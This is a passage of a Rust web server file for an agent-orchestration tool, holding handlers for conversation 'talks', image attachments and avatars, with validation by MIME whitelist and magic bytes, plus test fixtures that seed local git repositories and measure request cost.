8256 let ui = Arc::clone(&ui);
8257 let id = id.clone();
8258 let cfg = cfg.clone();
8259 blocking(move || {
8260 let chosen =
8261 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8262 let mut talk = ui.talks.get(&id)?;
8263 if !talk.status.open() {
8264 return Err(ApiError::conflict(format!(
8265 "talk {} is {} and takes no more turns",
8266 talk.short(),
8267 talk.status.as_str()
8268 )));
8269 }
8270 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8271 Ok(talk)
8272 })
8273 .await
8274 };
8275 let observed = ui.queued_generation(&id);
8277 let fresh = {
8278 let ui = Arc::clone(&ui);
8279 let id = id.clone();
8280 blocking(move || Ok(ui.talks.get(&id)?)).await
8281 };
8282 let draining = match fresh {
8283 Ok(talk) => {
8284 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8285 }
8286 Err(_) => false,
8287 };
8288 let talk = switched?;
8289 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8290}
8291
8292async fn talk_close(
8294 State(ui): State<Arc<Ui>>,
8295 Path(id): Path<String>,
8296) -> ApiResult<Json<TalkView>> {
8297 blocking(move || {
8298 let id = resolve_talk(&ui.talks, &id)?;
8299 let mut talk = ui.talks.get(&id)?;
8300 talk::close(&mut talk, &ui.talks)?;
8301 let thinking = ui.is_thinking(&talk.id);
8302 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8303 })
8304 .await
8305}
8306
8307async fn talk_reopen(
8309 State(ui): State<Arc<Ui>>,
8310 Path(id): Path<String>,
8311) -> ApiResult<Json<TalkView>> {
8312 blocking(move || {
8313 let id = resolve_talk(&ui.talks, &id)?;
8314 let mut talk = ui.talks.get(&id)?;
8315 talk::reopen(&mut talk, &ui.talks)?;
8316 let thinking = ui.is_thinking(&talk.id);
8317 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8318 })
8319 .await
8320}
8321
8322async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8332 blocking(move || {
8333 let id = resolve_talk(&ui.talks, &id)?;
8334 ui.talks.remove(&id)?;
8335 Ok(StatusCode::NO_CONTENT)
8336 })
8337 .await
8338}
8339
8340fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8342 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8343}
8344
8345async fn talk_attachment_post(
8348 State(ui): State<Arc<Ui>>,
8349 Path(id): Path<String>,
8350 headers: HeaderMap,
8351 body: Bytes,
8352) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8353 let mime = validate_attachment(&headers, &body)?;
8354 let name = filename_header(&headers);
8355 let data = body.to_vec();
8356 blocking(move || {
8357 let id = resolve_talk(&ui.talks, &id)?;
8358 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8359 Ok((StatusCode::CREATED, Json(att)))
8360 })
8361 .await
8362}
8363
8364async fn talk_attachment_get(
8367 State(ui): State<Arc<Ui>>,
8368 Path((id, att)): Path<(String, String)>,
8369) -> ApiResult<Response> {
8370 blocking(move || {
8371 let id = resolve_talk(&ui.talks, &id)?;
8372 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8373 return Err(ApiError::not_found(format!(
8374 "talk {id} has no attachment `{att}`"
8375 )));
8376 };
8377 Ok(attachment_response(&meta.mime, data))
8378 })
8379 .await
8380}
8381
8382fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8385 let mut id = String::new();
8386 for b in p.id.bytes() {
8387 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8388 id.push(char::from(b));
8389 } else {
8390 id.push_str(&format!("%{b:02X}"));
8391 }
8392 }
8393 format!(
8394 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8395 persona_icon::fingerprint(p.icon.as_deref())
8396 )
8397}
8398
8399#[derive(Debug, Default, Deserialize)]
8400struct AvatarQuery {
8401 persona: Option<String>,
8402 builtin: Option<String>,
8404}
8405
8406const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8408
8409fn builtin_avatar(id: &str) -> Response {
8410 svg_avatar(persona_icon::builtin_svg(id))
8411}
8412
8413async fn operator_avatar() -> Response {
8414 svg_avatar(persona_icon::operator_svg())
8415}
8416
8417fn svg_avatar(svg: &'static str) -> Response {
8418 (
8419 [
8420 (header::CONTENT_TYPE, "image/svg+xml"),
8421 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8422 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8423 (header::CACHE_CONTROL, "no-cache"),
8424 ],
8425 svg,
8426 )
8427 .into_response()
8428}
8429
8430fn magi_icon_path(home: &FsPath) -> PathBuf {
8432 home.join("magi-icon.data")
8433}
8434
8435fn read_magi_icon(home: &FsPath) -> Option<String> {
8436 let path = magi_icon_path(home);
8437 let metadata = std::fs::metadata(&path).ok()?;
8438 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8439 return None;
8440 }
8441 let file = std::fs::File::open(path).ok()?;
8442 use std::io::Read;
8443 let mut text = String::new();
8444 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8445 .read_to_string(&mut text)
8446 .ok()?;
8447 if text.len() > persona_icon::ICON_MAX_BYTES {
8448 return None;
8449 }
8450 text.starts_with("data:").then_some(text)
8451}
8452
8453fn magi_icon_url(home: &FsPath) -> String {
8454 format!(
8455 "/avatars/magi?v={}",
8456 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8457 )
8458}
8459
8460async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8461 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8462}
8463
8464#[derive(Deserialize)]
8465struct MagiIconUpload {
8466 icon: String,
8467}
8468
8469fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8470 if !icon.starts_with("data:") {
8471 anyhow::bail!("upload a raster image");
8472 }
8473 let (mime, bytes) = persona_icon::load(icon)?;
8474 if sniffed_mime(&bytes) != Some(mime) {
8475 anyhow::bail!("image content does not match its type");
8476 }
8477 std::fs::create_dir_all(home)?;
8478 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8479 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8480 let result = (|| -> Result<()> {
8481 use std::io::Write;
8482 let mut file = std::fs::OpenOptions::new()
8483 .write(true)
8484 .create_new(true)
8485 .open(&temp)?;
8486 file.write_all(icon.as_bytes())?;
8487 file.sync_all()?;
8488 std::fs::rename(&temp, magi_icon_path(home))?;
8489 Ok(())
8490 })();
8491 let _ = std::fs::remove_file(temp);
8492 result?;
8493 Ok(())
8494}
8495
8496async fn magi_icon_put(
8497 State(ui): State<Arc<Ui>>,
8498 Json(upload): Json<MagiIconUpload>,
8499) -> ApiResult<Json<serde_json::Value>> {
8500 blocking(move || {
8501 if !upload.icon.starts_with("data:") {
8502 return Err(ApiError::bad_request("upload a raster image"));
8503 }
8504 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8505 if sniffed_mime(&bytes) != Some(mime) {
8506 return Err(ApiError::bad_request(
8507 "image content does not match its type",
8508 ));
8509 }
8510 save_magi_icon(&ui.home, &upload.icon)?;
8511 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8512 })
8513 .await
8514}
8515
8516async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8517 blocking(move || {
8518 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8519 Ok(()) => (),
8520 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8521 Err(e) => return Err(anyhow::Error::from(e).into()),
8522 }
8523 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8524 })
8525 .await
8526}
8527
8528async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8529 let icon = (q.builtin.is_none())
8530 .then(|| read_magi_icon(&ui.home))
8531 .flatten();
8532 let mut response = match icon
8533 .as_deref()
8534 .and_then(|icon| persona_icon::load(icon).ok())
8535 {
8536 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8537 attachment_response(mime, bytes)
8538 }
8539 _ => svg_avatar(persona_icon::magi_svg()),
8540 };
8541 response
8542 .headers_mut()
8543 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8544 response
8545}
8546
8547async fn talk_avatar(
8552 State(ui): State<Arc<Ui>>,
8553 Path(id): Path<String>,
8554 Query(q): Query<AvatarQuery>,
8555) -> ApiResult<Response> {
8556 blocking(move || {
8557 let id = resolve_talk(&ui.talks, &id)?;
8558 let talk = ui.talks.get(&id)?;
8559 let wanted = q
8560 .persona
8561 .as_deref()
8562 .map(str::trim)
8563 .filter(|p| !p.is_empty())
8564 .unwrap_or(&talk.persona)
8565 .to_owned();
8566 let specs = match Config::discover(&talk.repo, None) {
8567 Ok((cfg, _)) => cfg.talk.personas,
8568 Err(e) => {
8569 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8570 Vec::new()
8571 }
8572 };
8573 let Some(found) = persona::find(&specs, &wanted) else {
8574 return Ok(builtin_avatar(persona::DEFAULT_ID));
8575 };
8576 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8577 return Ok(builtin_avatar(&found.id));
8578 };
8579 match persona_icon::load(icon) {
8580 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8581 let mut res = attachment_response(mime, bytes);
8582 res.headers_mut().insert(
8583 header::CACHE_CONTROL,
8584 header::HeaderValue::from_static("no-cache"),
8585 );
8586 Ok(res)
8587 }
8588 Ok((mime, _)) => {
8589 tracing::warn!(
8590 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8591 found.id
8592 );
8593 Ok(builtin_avatar(&found.id))
8594 }
8595 Err(e) => {
8596 tracing::warn!(
8597 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8598 found.id
8599 );
8600 Ok(builtin_avatar(&found.id))
8601 }
8602 }
8603 })
8604 .await
8605}
8606
8607fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8618 if data.len() > ATTACHMENT_MAX_BYTES {
8619 return Err(ApiError::bad_request(format!(
8620 "attachment is {} bytes, over the {} MiB limit",
8621 data.len(),
8622 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8623 ))
8624 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8625 }
8626 if data.is_empty() {
8627 return Err(ApiError::bad_request("attachment is empty"));
8628 }
8629 let declared = declared_mime(headers)?;
8630 match sniffed_mime(data) {
8631 Some(sniffed) if sniffed == declared => Ok(declared),
8632 Some(sniffed) => Err(ApiError::bad_request(format!(
8633 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8634 ))),
8635 None => Err(ApiError::bad_request(
8636 "the file's bytes do not match any accepted image format",
8637 )),
8638 }
8639}
8640
8641fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8645 let raw = headers
8646 .get(header::CONTENT_TYPE)
8647 .and_then(|v| v.to_str().ok())
8648 .unwrap_or("")
8649 .split(';')
8650 .next()
8651 .unwrap_or("")
8652 .trim()
8653 .to_ascii_lowercase();
8654 ATTACHMENT_MIME_WHITELIST
8655 .iter()
8656 .find(|&&m| m == raw)
8657 .copied()
8658 .ok_or_else(|| {
8659 if raw == "image/svg+xml" {
8660 ApiError::bad_request(
8661 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8662 not just a picture",
8663 )
8664 } else if raw.is_empty() {
8665 ApiError::bad_request("Content-Type is required for an attachment upload")
8666 } else {
8667 ApiError::bad_request(format!(
8668 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8669 image/gif or image/webp"
8670 ))
8671 }
8672 })
8673}
8674
8675fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8678 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8679 Some("image/png")
8680 } else if data.starts_with(b"\xff\xd8\xff") {
8681 Some("image/jpeg")
8682 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8683 Some("image/gif")
8684 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8685 Some("image/webp")
8686 } else {
8687 None
8688 }
8689}
8690
8691fn filename_header(headers: &HeaderMap) -> String {
8697 headers
8698 .get(FILENAME_HEADER)
8699 .and_then(|v| v.to_str().ok())
8700 .map(str::trim)
8701 .filter(|s| !s.is_empty())
8702 .unwrap_or("attachment")
8703 .to_owned()
8704}
8705
8706fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8713 let content_type = ATTACHMENT_MIME_WHITELIST
8714 .iter()
8715 .find(|&&m| m == mime)
8716 .copied()
8717 .unwrap_or("application/octet-stream");
8718 (
8719 [
8720 (header::CONTENT_TYPE, content_type),
8721 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8722 ],
8723 body,
8724 )
8725 .into_response()
8726}
8727
8728async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8736 let repo = repo.to_path_buf();
8737 blocking(move || {
8738 let (cfg, _) = Config::discover(&repo, None)?;
8739 Ok(cfg)
8740 })
8741 .await
8742}
8743
8744fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8750 let mut hits = ids
8751 .into_iter()
8752 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8753 match (hits.next(), hits.next()) {
8754 (Some(one), None) => Ok(one),
8755 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8756 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8757 "`{prefix}` matches more than one {what}, including {a} and {b}"
8758 ))),
8759 }
8760}
8761
8762#[cfg(test)]
8763mod tests {
8764
8765 #[test]
8766 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8767 let dir = tempfile::tempdir().unwrap();
8768 let store = ask::Questions::at(dir.path().join("questions"));
8769 let mut q = Question::new(
8770 "task".to_owned(),
8771 "conduct".to_owned(),
8772 "conduct".to_owned(),
8773 "choose".to_owned(),
8774 String::new(),
8775 vec!["keep".to_owned()],
8776 );
8777 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8778 q.say("why?").unwrap();
8779 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8780 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8781 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8782 store.put(&mut q).unwrap();
8783 assert!(QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8784 assert_eq!(store.count_needs_owner(), 1);
8785 store.beat(&q.id, ask::WaiterKind::Deputy);
8786 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8787 assert_eq!(store.count_needs_owner(), 0);
8788 let mut stale = store.read_lease(&q.id).unwrap();
8789 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8790 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8791 let view = QuestionView::of(q.clone(), &store, true);
8792 assert!(view.deputy_exhausted);
8793 assert!(view.waiting_on_agent);
8794 assert_eq!(view.question.choices, ["keep"]);
8795 store.drop_lease(&q.id);
8796 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8797 assert!(!QuestionView::of(q, &store, true).deputy_exhausted);
8798 }
8799
8800 #[test]
8801 fn holder_reads_the_lease_not_the_record() {
8802 let mut q = Question::new(
8803 "run".to_owned(),
8804 "implement".to_owned(),
8805 "impl-A".to_owned(),
8806 "which?".to_owned(),
8807 String::new(),
8808 Vec::new(),
8809 );
8810 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8811 q.cwd = Some("/tmp".to_owned());
8812 assert_eq!(holder_of(&q, None), Some("nobody"));
8813 let beat = |kind, ago: i64| ask::Lease {
8814 kind,
8815 pid: 1,
8816 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8817 .unwrap(),
8818 };
8819 let fresh = beat(ask::WaiterKind::Asker, 1);
8820 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8821 let daemon = beat(ask::WaiterKind::Daemon, 1);
8822 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8823 let stale = beat(ask::WaiterKind::Asker, 3600);
8824 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8825
8826 let mut c = Question::new(
8829 "task".to_owned(),
8830 crate::conduct::NODE.to_owned(),
8831 "conduct".to_owned(),
8832 "which?".to_owned(),
8833 String::new(),
8834 Vec::new(),
8835 );
8836 assert_eq!(holder_of(&c, None), Some("nobody"));
8837 c.cwd = Some("/tmp".to_owned());
8838 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8839 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8840 let deputy = beat(ask::WaiterKind::Deputy, 1);
8841 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8842 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8843
8844 let mut r = Question::new(
8846 String::new(),
8847 crate::bump::NOTICE_NODE.to_owned(),
8848 "release-watch".to_owned(),
8849 "stuck?".to_owned(),
8850 String::new(),
8851 vec!["hold".to_owned()],
8852 );
8853 assert_eq!(holder_of(&r, None), Some("nobody"));
8854 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8855 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8856 r.deputy = None;
8858 r.seat = "bump".to_owned();
8859 assert_eq!(holder_of(&r, None), None);
8860
8861 let mut m = Question::new(
8864 "run".to_owned(),
8865 crate::land::APPROVAL_NODE.to_owned(),
8866 "land".to_owned(),
8867 "merge?".to_owned(),
8868 String::new(),
8869 Vec::new(),
8870 );
8871 assert_eq!(holder_of(&m, None), Some("nobody"));
8872 assert_eq!(
8873 holder_of(&m, Some(&fresh)),
8874 Some("nobody"),
8875 "a lease with no deputy is not a listener"
8876 );
8877 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8878 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8879 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8880 assert_eq!(holder_of(&m, None), Some("nobody"));
8881 }
8882
8883 fn stub_config() -> Config {
8884 Config {
8887 agents: vec![crate::config::AgentSpec {
8888 id: "stub".to_owned(),
8889 kind: AgentKind::Command,
8890 model: None,
8891 command: vec!["true".to_owned()],
8892 extra_args: Vec::new(),
8893 env: Default::default(),
8894 prompt_delivery: None,
8895 }],
8896 ..Config::default()
8897 }
8898 }
8899
8900 fn plain_question(seat: &str) -> Question {
8901 Question::new(
8902 String::new(),
8903 "n".to_owned(),
8904 seat.to_owned(),
8905 "s".to_owned(),
8906 String::new(),
8907 Vec::new(),
8908 )
8909 }
8910
8911 #[test]
8912 fn deputies_enabled_follows_the_config() {
8913 let on = stub_config();
8914 assert!(crate::deputy::can_start(Some(&on), ""));
8915 assert!(crate::deputy::can_start(Some(&on), "stub"));
8916 let mut off = on.clone();
8917 off.daemon.max_deputies = 0;
8918 assert!(!crate::deputy::can_start(Some(&off), ""));
8919 let mut empty = on;
8920 empty.agents.clear();
8921 assert!(!crate::deputy::can_start(Some(&empty), ""));
8922 assert!(!crate::deputy::can_start(None, ""));
8923 }
8924
8925 #[test]
8926 fn question_views_load_the_config_once() {
8927 let dir = TempDir::new().unwrap();
8928 let store = ask::Questions::at(dir.path().to_path_buf());
8929 let mut with_deputy = plain_question("b");
8930 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8931 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8932
8933 let calls = std::cell::Cell::new(0usize);
8934 let views = question_views(qs.clone(), &store, || {
8935 calls.set(calls.get() + 1);
8936 Some(stub_config())
8937 });
8938 assert_eq!(calls.get(), 1);
8939 assert_eq!(views.len(), 3);
8940 for (v, q) in views.iter().zip(&qs) {
8941 assert_eq!(
8942 v.deputies_enabled,
8943 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8944 );
8945 }
8946
8947 let views = question_views(qs, &store, || None);
8948 assert!(views.iter().all(|v| !v.deputies_enabled));
8949
8950 let calls = std::cell::Cell::new(0usize);
8951 let views = question_views(Vec::new(), &store, || {
8952 calls.set(calls.get() + 1);
8953 None
8954 });
8955 assert!(views.is_empty());
8956 assert_eq!(calls.get(), 0);
8957 }
8958
8959 use pretty_assertions::assert_eq;
8960 use serde_json::Value;
8961 use tempfile::TempDir;
8962 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8963
8964 use super::*;
8965 use crate::config::Config;
8966 use crate::queue::Source;
8967
8968 const SETTLE_STEPS: usize = 3_000;
8979
8980 struct Fixture {
8986 home: TempDir,
8987 addr: SocketAddr,
8988 }
8989
8990 impl Fixture {
8991 async fn start() -> Self {
8992 Self::with_loop(launch_idle).await
8993 }
8994
8995 async fn with_loop(launch: Launch) -> Self {
8997 let home = TempDir::new().expect("temp home");
8998 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8999 Self { home, addr }
9000 }
9001
9002 async fn with_repo(repo: PathBuf) -> Self {
9006 let home = TempDir::new().expect("temp home");
9007 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9008 Self { home, addr }
9009 }
9010
9011 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9014 let home = TempDir::new().expect("temp home");
9015 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9016 Self { home, addr }
9017 }
9018
9019 async fn serve(
9020 home: &FsPath,
9021 repo: PathBuf,
9022 launch: Launch,
9023 machine: Option<PathBuf>,
9024 ) -> SocketAddr {
9025 let queue = Queue::at(home.join("queue"));
9026 let runs = home.join("runs");
9027 std::fs::create_dir_all(&runs).expect("runs dir");
9028 let worktrees = home.join("wt").join("magi");
9029 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9030 let ui = Ui::new(
9031 queue,
9032 Questions::at(home.join("questions")),
9033 Talks::at(home.join("talks")),
9034 runs,
9035 home.to_path_buf(),
9036 repo,
9037 )
9038 .with_worktrees_root(worktrees)
9039 .with_machine_config(machine)
9040 .with_launch(launch);
9041 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9042 .await
9043 .expect("bind loopback");
9044 let addr = listener.local_addr().expect("local addr");
9045 tokio::spawn(async move {
9046 let router = ui
9047 .router()
9048 .layer(axum::middleware::from_fn(request_cost::observe));
9049 let _ = axum::serve(listener, router).await;
9050 });
9051 addr
9052 }
9053
9054 fn queue(&self) -> Queue {
9055 Queue::at(self.home.path().join("queue"))
9056 }
9057
9058 fn questions(&self) -> Questions {
9059 Questions::at(self.home.path().join("questions"))
9060 }
9061
9062 fn talks(&self) -> Talks {
9063 Talks::at(self.home.path().join("talks"))
9064 }
9065
9066 fn runs(&self) -> PathBuf {
9067 self.home.path().join("runs")
9068 }
9069
9070 async fn get(&self, path: &str) -> Res {
9071 request(self.addr, "GET", path, None).await
9072 }
9073
9074 async fn head(&self, path: &str) -> Res {
9079 request(self.addr, "HEAD", path, None).await
9080 }
9081
9082 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9083 request(self.addr, "POST", path, body).await
9084 }
9085
9086 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9087 request_with(self.addr, "GET", path, None, extra).await
9088 }
9089
9090 async fn delete(&self, path: &str) -> Res {
9091 request(self.addr, "DELETE", path, None).await
9092 }
9093
9094 async fn put(&self, path: &str, body: &str) -> Res {
9095 request(self.addr, "PUT", path, Some(body)).await
9096 }
9097
9098 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9100 request_bytes(self.addr, path, headers, body).await
9101 }
9102 }
9103
9104 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9107 let tmp = TempDir::new().unwrap();
9108 let mut repos = Vec::new();
9109 for name in ["one", "two"] {
9110 let repo = tmp.path().join(name);
9111 let origin = tmp.path().join(format!("{name}.git"));
9112 std::fs::create_dir_all(&repo).unwrap();
9113 crate::git::git(&repo, &["init", "-b", "main"])
9114 .await
9115 .unwrap();
9116 std::fs::write(
9117 repo.join("magi.toml"),
9118 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9119 )
9120 .unwrap();
9121 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9122 crate::git::git(
9123 &repo,
9124 &[
9125 "-c",
9126 "user.name=fixture",
9127 "-c",
9128 "user.email=fixture@example.invalid",
9129 "commit",
9130 "-m",
9131 "fixture",
9132 ],
9133 )
9134 .await
9135 .unwrap();
9136 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9137 .await
9138 .unwrap();
9139 crate::git::git(
9140 &repo,
9141 &["remote", "add", "origin", origin.to_str().unwrap()],
9142 )
9143 .await
9144 .unwrap();
9145 crate::git::git(&repo, &["push", "origin", "main"])
9146 .await
9147 .unwrap();
9148 crate::git::git(
9149 &repo,
9150 &[
9151 "symbolic-ref",
9152 "refs/remotes/origin/HEAD",
9153 "refs/remotes/origin/main",
9154 ],
9155 )
9156 .await
9157 .unwrap();
9158 let (cfg, _) = Config::discover(&repo, None).unwrap();
9159 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9160 repos.push(repo);
9161 }
9162 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9163 (tmp, repos)
9164 }
9165
9166 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9167 let (tmp, repos) = performance_repositories().await;
9168 let machine = tmp.path().join("machine.toml");
9169 std::fs::write(&machine, "").unwrap();
9170 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9171 (tmp, repos, fx)
9172 }
9173
9174 fn seed_performance(
9175 fx: &Fixture,
9176 repos: &[PathBuf; 2],
9177 questions: usize,
9178 runs: usize,
9179 items: usize,
9180 ) {
9181 for i in fx.questions().list().len()..questions {
9183 let mut question = Question::new(
9184 "20261001-000000-0000".into(),
9185 "implement".into(),
9186 "impl-A".into(),
9187 format!("question {i}"),
9188 "context".into(),
9189 vec!["yes".into(), "no".into()],
9190 );
9191 question.id = format!("20261003-000000-{i:04x}");
9192 fx.questions().put(&mut question).unwrap();
9193 }
9194 for i in run_ids(&fx.runs()).len()..runs {
9195 write_run_repo(
9196 &fx.runs(),
9197 &format!("20261001-000000-{i:04x}"),
9198 RunStatus::Ready,
9199 repos[i % 2].to_str().unwrap(),
9200 );
9201 }
9202 for i in fx.talks().list().len()..items {
9203 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9204 let mut talk = fx.talks().get(&id).unwrap();
9205 talk.repo = repos[i % 2].clone();
9206 fx.talks().put(&mut talk).unwrap();
9207 let mut task = crate::queue::Task::new(
9208 format!("task {i}"),
9209 "instruction".into(),
9210 repos[i % 2].clone(),
9211 crate::queue::Source::Agent {
9212 run: id,
9213 node: crate::queue::CHAT_NODE.into(),
9214 },
9215 );
9216 task.id = format!("20261004-000000-{i:04x}");
9217 fx.queue().put(&mut task).unwrap();
9218 if i < crate::notices::CAP {
9220 Notices::at(fx.home.path().join("notifications"))
9221 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9222 .unwrap();
9223 }
9224 }
9225 assert_eq!(fx.questions().list().len(), questions);
9226 assert_eq!(run_ids(&fx.runs()).len(), runs);
9227 assert_eq!(fx.talks().list().len(), items);
9228 assert_eq!(fx.queue().list().len(), items);
9229 assert_eq!(
9230 Notices::at(fx.home.path().join("notifications"))
9231 .list()
9232 .len(),
9233 items.min(crate::notices::CAP)
9234 );
9235 }
9236
9237 fn request_counts(res: &Res) -> (usize, usize) {
9238 assert_eq!(res.status, 200, "{}", res.body);
9239 (
9240 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9241 res.header("x-test-git").unwrap().parse().unwrap(),
9242 )
9243 }
9244
9245 #[tokio::test]
9246 async fn list_request_cost_is_independent_of_record_count() {
9247 let (_tmp, repos, fx) = performance_fixture().await;
9248 let mut previous = None;
9249 for n in [4, 60] {
9250 seed_performance(&fx, &repos, n, n, n);
9251 let mut costs = Vec::new();
9252 for (path, discoveries) in [
9253 ("/api/questions", 1),
9254 ("/api/talks", 2),
9255 ("/api/health", 1),
9256 ("/api/stats", 1),
9257 ] {
9258 for repo in &repos {
9261 let cache = repo.join(".git/magi/config");
9262 if cache.exists() {
9263 std::fs::remove_dir_all(cache).unwrap();
9264 }
9265 }
9266 let cost = request_counts(&fx.get(path).await);
9267 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9268 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9269 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9270 costs.push(cost);
9271 }
9272 if let Some(previous) = previous {
9273 assert_eq!(costs, previous);
9274 }
9275 previous = Some(costs);
9276 }
9277 }
9281
9282 #[tokio::test]
9285 async fn list_handler_cost_without_transport() {
9286 let (_tmp, repos) = performance_repositories().await;
9287 let fx = Fixture {
9288 home: TempDir::new().unwrap(),
9289 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9290 };
9291 let ui = Arc::new(
9292 Ui::new(
9293 fx.queue(),
9294 fx.questions(),
9295 fx.talks(),
9296 fx.runs(),
9297 fx.home.path().to_path_buf(),
9298 repos[0].clone(),
9299 )
9300 .with_worktrees_root(fx.home.path().join("wt")),
9301 );
9302 let mut previous = None;
